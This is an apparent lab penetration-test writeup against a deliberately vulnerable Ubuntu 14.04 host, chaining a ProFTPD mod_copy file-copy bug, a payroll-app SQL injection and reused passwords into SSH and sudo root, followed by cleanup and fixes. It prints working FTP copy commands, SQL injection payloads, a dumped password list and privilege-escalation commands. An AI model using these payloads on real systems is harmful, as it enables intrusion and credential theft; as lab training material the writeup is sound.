Writeup — Vuln (Payroll SQLi → SSH → sudo Root)
vuln.lan · Ubuntu 14.04 · hostname vulnAttacker: 192.168.1.244 (hostname
jim, user bob)Objective: exploit the easiest / quickest service. Result: full root compromise via web-app SQL injection.
Attack chain at a glance
| Step | Service | Vulnerability | Impact |
|---|---|---|---|
| 1 | 21/tcp ProFTPD 1.3.5 | CVE-2015-3306 (mod_copy) | Unauth file read / copy |
| 2 | 80/tcp payroll_app.php | SQLi (stacked multi_query) | DB creds + 15 user passwords leaked |
| 3 | 22/tcp SSH | Weak / reused passwords | Shell as leia_organa (sudo group) |
| 4 | — sudo | User in sudo group, (ALL:ALL) ALL | Privilege escalation → uid=0 |
Table of Contents
- 1. Reconnaissance
- 2. Port 21 — ProFTPD mod_copy (CVE-2015-3306)
- 3. Web Enumeration
- 4. Port 80 — Payroll App SQL Injection
- 5. Database Credential Dump
- 6. SSH Access
- 7. Privilege Escalation to Root
- 8. Cleanup
- 9. How the Services Should Be Fixed
- 10. Key Takeaways
1. Reconnaissance
1
Locate the target
Hostname of the local box is jim, so vuln is another host. It resolves on the LAN via mDNS/DNS:
$ getent hosts vuln 192.168.1.14 vuln.lan $ ping -c1 vuln 64 bytes from vuln.lan (192.168.1.14): icmp_seq=1 ttl=64 time=0.199 ms
2
Port scan (non-root connect scan)
nmap -sT -sV --top-ports 1000 -T4 -Pn 192.168.1.14 PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.5 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 80/tcp open http Apache httpd 2.4.7 445/tcp open netbios-ssn Samba smbd 3.X - 4.X 631/tcp open ipp CUPS 1.7 3306/tcp open mysql MySQL (unauthorized) 8080/tcp open http Jetty 8.1.7.v20120910 Service Info: Host: VULN; OSs: Unix, Linux
Aged Ubuntu 14.04 footprint. The obvious quick win is ProFTPD 1.3.5 (CVE-2015-3306), followed by the custom web app on port 80.
2. Port 21 — ProFTPD mod_copy (CVE-2015-3306)
3
The vulnerability
mod_copy exposes SITE CPFR (source) / SITE CPTO (destination) to unauthenticated clients — a built-in remote cp. First confirm the SITE commands are accepted and that no login is required:
> SITE CPFR /etc/passwd 350 File or directory exists, ready for destination name
Confirmed: the command is honored before authentication.
4
Copy /etc/passwd into the webroot
> SITE CPFR /etc/passwd 350 File or directory exists, ready for destination name > SITE CPTO /var/www/html/passwd.txt 250 Copy successful $ curl -s http://192.168.1.14/passwd.txt | head -4 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... vagrant:x:900:900:vagrant,,,:/home/vagrant:/bin/bash leia_organa:x:1111:100::/home/leia_organa:/bin/bash luke_skywalker:x:1112:100::/home/luke_skywalker:/bin/bash
Port 21 broken: unauthenticated arbitrary file read. The user list reveals a Star Wars theme (leia_organa, luke_skywalker, han_solo, ...). Attempting to read /etc/shadow fails with 550 CPTO: Permission denied — the copy primitive runs with guest privileges, so world-readable files only.
3. Web Enumeration
5
What's on the web ports
GET http://192.168.1.14/ Apache 2.4.7 -> /chat/ /drupal/ /payroll_app.php /phpmyadmin/ GET http://192.168.1.14:8080/ Jetty 8.1.7 -> /continuum Apache Continuum 1.4.2
payroll_app.php is a custom login form — prime SQLi candidate. Drupal 7.5 and phpMyAdmin are also present but the payroll app is the fastest path.
6
Read the PHP source via the FTP copy primitive
The FTP bug can copy any world-readable file into the webroot — including the application's own .php source (copied to .txt so Apache serves it):
> SITE CPFR /var/www/html/payroll_app.php
> SITE CPTO /var/www/html/payroll_app.txt
250 Copy successful
$ curl -s http://192.168.1.14/payroll_app.txt
$conn = new mysqli('127.0.0.1', 'root', 'sploitme', 'payroll');
...
$sql = "select username, first_name, last_name, salary from users
where username = '$user' and password = '$pass'";
if ($conn->multi_query($sql)) { ... }Two findings: hardcoded DB credentials root:sploitme, and the query is built by string concatenation inside a multi_query() call — meaning stacked queries are possible (statement separation via ;).
4. Port 80 — Payroll App SQL Injection
7
Confirm the injection
curl -s -d "user=x&password=' or '1'='1&s=1" http://192.168.1.14/payroll_app.php Welcome, x leia_organa / Leia / Organa / 9560 luke_skywalker / Luke / Skywalker / 1080 ... (all 15 users)
Authentication bypass confirmed — the entire payroll table is dumped.
8
Stacked queries — interrogate MySQL
user = ' ; select user(), @@secure_file_priv, @@version, @@datadir -- root@localhost /var/lib/mysql-files/ 5.5.62-0ubuntu0.14.04.1 /var/lib/mysql-default/
We are effectively root@localhost in MySQL. An attempt to plant a webshell via SELECT ... INTO OUTFILE '/var/www/html/w.php' failed because secure_file_priv restricts writes to /var/lib/mysql-files/, and that directory is not readable by the FTP copy user (550). The classic OUTFILE→webroot trick is blocked here — pivot instead to the credential dump.
5. Database Credential Dump
9
Enumerate schema, then dump the users table
# schema
user = ' ; select table_schema, table_name from information_schema.tables
where table_schema not in ('information_schema','performance_schema') --
...drupal* (60+ tables) ... payroll.users ...
# the payroll table has a password column we hadn't seen yet
user = ' ; select column_name from information_schema.columns
where table_schema='payroll' and table_name='users' --
username first_name last_name password salary10
Dump usernames + plaintext passwords
user = ' ; select username, password from payroll.users -- leia_organa help_me_obiwan luke_skywalker like_my_father_beforeme han_solo nerf_herder artoo_detoo b00p_b33p c_three_pio Pr0t0c07 ben_kenobi thats_no_m00n darth_vader Dark_syD3 anakin_skywalker but_master:( jarjar_binks mesah_p@ssw0rd lando_calrissian @dm1n1str8r boba_fett mandalorian1 jabba_hutt my_kinda_skum greedo hanSh0tF1rst chewbacca rwaaaaawr8 kylo_ren Daddy_Issues2
Fifteen plaintext credentials. These map directly to the /etc/passwd users — classic credential reuse / storage.
6. SSH Access
11
Log in over SSH
$ ssh leia_organa@192.168.1.14 (password: help_me_obiwan) leia_organa@vuln:~$ id uid=1111(leia_organa) gid=100(users) groups=100(users),27(sudo)
Shell on vuln as leia_organa — and she is a member of the sudo group.
7. Privilege Escalation to Root
12
Check sudo rights and escalate
$ echo 'help_me_obiwan' | sudo -S -l
User leia_organa may run the following commands on vuln:
(ALL : ALL) ALL
$ echo 'help_me_obiwan' | sudo -S su - root -c 'id; hostname'
uid=0(root) gid=0(root) groups=0(root)
vulnFull root compromise. Verified by reading /etc/shadow (root's entry is locked with !, all other accounts present).
8. Cleanup
13
Remove test artifacts
# remove webroot copies planted via the FTP bug:
rm -f /var/www/html/passwd.txt /var/www/html/payroll_app.txt \
/var/www/html/apache2.conf.txt /var/www/html/ports.conf.txt \
/var/www/html/000-default.conf.txt
# local temp shell file that never made it onto the box:
rm -f /tmp/opencode/shell.phpVerify the webroot index is back to its original state (/chat/ /drupal/ /payroll_app.php /phpmyadmin/).
9. How the Services Should Be Fixed
- Patch / upgrade ProFTPD. 1.3.5's
mod_copymust not honorSITE CPFR/CPTOfor unauthenticated clients; upgrade to 1.3.5e+ and disablemod_copyif unused. - Fix the SQL injection. Use parameterized queries / prepared statements in
payroll_app.php; never concatenate user input into SQL — especially withmulti_query(), which enables stacked statements. - Remove hardcoded DB credentials from source.
root:sploitmeshould live in an environment secret, and the app account needs least privilege, notroot. - Stop storing plaintext passwords. Hash with a KDF (bcrypt/argon2) and rotate the leaked passwords; they were reused for SSH.
- Restrict the sudo group. These Star Wars users do not need
(ALL:ALL) ALL; drop them from the sudo group. - Least privilege for MySQL. Disable
FILEprivilege and tightensecure_file_privso a compromise cannot write attacker-controlled files.
10. Key Takeaways
- Fastest path was the web app, not the banner. ProFTPD gave unauthenticated file read, but the payroll SQLi turned into a full credential dump and root.
- Read source when you can. The FTP file-copy bug was reused to exfiltrate the PHP source, exposing DB creds and the
multi_queryweakness. - Always verify assumptions.
secure_file_privblocked the classic OUTFILE webshell — don't assume MySQL can write to the webroot; pivot instead. - Credential reuse is the multiplier. Plaintext app passwords were the SSH passwords, and SSH landed us in the sudo group — instant root.
- Leave no trace. Every artifact planted in the webroot was removed.
Result: full root compromise (uid=0) on 192.168.1.14 via payroll_app.php SQLi → credential dump → SSH → sudo.